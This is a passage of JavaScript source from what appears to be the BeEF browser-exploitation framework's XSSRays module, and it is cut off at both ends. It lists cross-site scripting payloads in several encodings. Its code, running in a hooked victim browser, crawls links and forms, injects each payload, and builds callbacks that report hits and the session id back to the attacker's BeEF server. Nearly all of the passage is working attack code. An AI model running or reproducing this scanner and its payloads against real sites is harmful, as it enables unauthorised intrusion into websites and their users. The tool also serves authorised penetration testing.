', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true}, {input:''">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true}, {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true}, {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true}, {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true}, {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true}, {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true}, {input:"' style=abc:expression(XSS) ' " style=abc:expression(XSS) "", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}, {input:'" type=image src=null onerror=XSS " ' type=image src=null onerror=XSS '', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true}, {input:"' onload='XSS' " onload="XSS"/onload="XSS"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true}, {input:''"', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true}, {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true}, {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true}, {input:'\x3c\x73\x63\x72\x69\x70\x74\x3eXSS\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true}, {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true}, {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true}, {input:'nullnXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true} ], uniqueID: 0, rays: [], stack: [], /** * return true is the attack vector can be launched to the current browser type. * @param {array} vector_array_index */ checkBrowser:function(vector_array_index){ var result = false; var browser_id = this.vectors[vector_array_index].browser; switch (browser_id){ case "ALL": result = true; break; case "FF": if(beef.browser.isFF())result=true; break; case "IE": if(beef.browser.isIE())result=true; break; case "C": if(beef.browser.isC())result=true; break; case "S": if(beef.browser.isS())result=true; break; case "O": if(beef.browser.isO())result=true; break; default : result = false; } beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]"); return result; }, /** * main function, where all starts :-) * @param xssraysScanId * @param hookedBrowserSession * @param beefUrl * @param crossDomain * @param timeout */ startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) { this.xssraysScanId = xssraysScanId; this.hookedBrowserSession = hookedBrowserSession; this.beefRayUrl = beefUrl + '/' + this.handler; beef.debug("Using [" + this.beefRayUrl + "] handler to contact back BeEF"); this.crossDomain = crossDomain; this.cleanUpTimeout = timeout; this.scan(); beef.debug("Starting scan"); this.runJobs(); }, complete:function() { if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) { beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]"); $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} ); } else { this.getNextJob(); } }, getNextJob:function() { var that = this; beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]"); if (this.stack.length > 0) { var func = that.stack.shift(); if (func) { that.completed++; func.call(that); } }else{ //nothing else to scan this.complete(); } }, scan:function() { this.scanLinks(); this.scanForms(); }, scanPaths:function() { this.xss({type:'path'}); return this; }, scanForms: function() { this.xss({type:'form'}); return this; }, scanLinks: function() { //TODO: add depth crawling for links that are in the same domain beef.debug("scanLinks, document.links.length [" + document.links.length + "]"); for (var i = 0; i < document.links.length; i++) { var url = document.links[i]; if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) { beef.debug("Starting scanning URL [" + url + "]n url.href => " + url.href + "n url.pathname => " + url.pathname + "n" + "url.search => " + url.search + "n"); this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol, search:url.search, type: 'url'});//scan each link & param } else { beef.debug('Scan is not Cross-domain. URLSnurl :' + url.hostname.toString()); beef.debug('nlocation :' + location.hostname.toString()); } } if (location.search.length > 0) { this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url } return this; }, xss:function(target) { switch (target.type) { case "url": if (target.search.length > 0) { target.search = target.search.slice(1); target.search = target.search.split(/&|&/); if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname var pathname = "/" + target.pathname; }else{ var pathname = target.pathname; } var params = {}; for (var i = 0; i < target.search.length; i++) { target.search[i] = target.search[i].split('='); params[target.search[i][0]] = target.search[i][1]; } for (var i = 0; i < this.vectors.length; i++) { // skip the current vector if it's not compatible with the hooked browser if (!this.checkBrowser(i)){ beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser."); continue; } if (!this.vectors[i].url) { continue; } if (this.vectors[i].url) { if (target.port == null || target.port == "") { beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]"); this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params } else { beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]"); this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params } } if (this.vectors[i].path) { if (target.port == null || target.port == "") { beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]"); this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths } else { beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]"); this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths } } } } break; case "form": var params = {}; var paramsstring = ""; for (var i = 0; i < document.forms.length; i++) { var action = document.forms[i].action || document.location; var method = document.forms[i].method.toUpperCase() === 'POST' ? 'POST' : 'GET'; for (var j = 0; j < document.forms[i].elements.length; j++) { params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1; } for (var k = 0; k < this.vectors.length; k++) { // skip the current vector if it's not compatible with the hooked browser if (!this.checkBrowser(k)){ beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser."); continue; } if (!this.vectors[k].form) { continue; } if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) { beef.debug('Scan is not Cross-domain. FormPostnaction :' + this.host(action).toString()); beef.debug('location :' + this.host(location)); continue; } if (this.vectors[k].form) { if (method === 'GET') { beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]"); this.run(action, method, this.vectors[k], params, true);//params } else { beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]"); this.run(action, method, this.vectors[k], params, false);//params } } if (this.vectors[k].path) { beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], "); this.run(action, 'GET', this.vectors[k], null, true);//paths } } } break; } }, host: function(url) { var host = url; host = /^https?:[/]{2}[^/]+/.test(url.toString()) ? url.toString().match(/^https?:[/]{2}[^/]+/) : /(?:^[^a-zA-Z0-9/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString()) ? '' : location.hostname.toString(); return host; }, fileName: function(url) { return url.match(/(?:^[^/]|^https?:[/]{2}|^[/]+)[^?]+/) || ''; }, urlEncode: function(str) { str = str.toString(); str = str.replace(/"/g, '%22'); str = str.replace(/&/g, '%26'); str = str.replace(/+/g, '%2b'); return str; }, /** * this is the main core function with the detection mechanisms... * @param url * @param method * @param vector * @param params * @param urlencode */ run: function(url, method, vector, params, urlencode) { this.stack.push(function() { //check if the URL end with / . In this case remove the last /, as it will be added later. // this check is needed only when checking for URI path injections if(url[url.length - 1] == "/" && params == null){ url = url.substring(0, url.length - 2); beef.debug("Remove last / from url. New url [" + url + "]"); } beef.net.xssrays.uniqueID++; beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]"); var poc = ''; var pocurl = url; var exploit = ''; var action = url; beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params}; var ray = this.rays[beef.net.xssrays.uniqueID]; var paramsPos = 0; if (params != null) { /* * ++++++++++ check for XSS in URI parameters (GET) ++++++++++ */ for (var i in params) { if (params.hasOwnProperty(i)) { if (!/[?]/.test(url)) { url += '?'; pocurl += '?'; } poc = vector.input.replace(/XSS/g, "alert(1)"); pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&'; beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl; beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method; beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'"; exploit = vector.input.replace(/XSS/g, beefCallback); if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later url += i + '=' + exploit + '&'; }else{ url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&'; } paramsPos++; } } } else { /* * ++++++++++ check for XSS in URI path (GET) ++++++++++ */ var filename = beef.net.xssrays.fileName(url); poc = vector.input.replace(/XSS/g, "alert(1)"); pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/'); beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl; beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method; beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'"; exploit = vector.input.replace(/XSS/g, beefCallback); //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//. //TODO: this need to checked and the slash shouldn't be added in this particular case url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/'); } /* * ++++++++++ create the iFrame that will contain the attack vector ++++++++++ */ if(beef.browser.isIE()){ try { var iframe = document.createElement('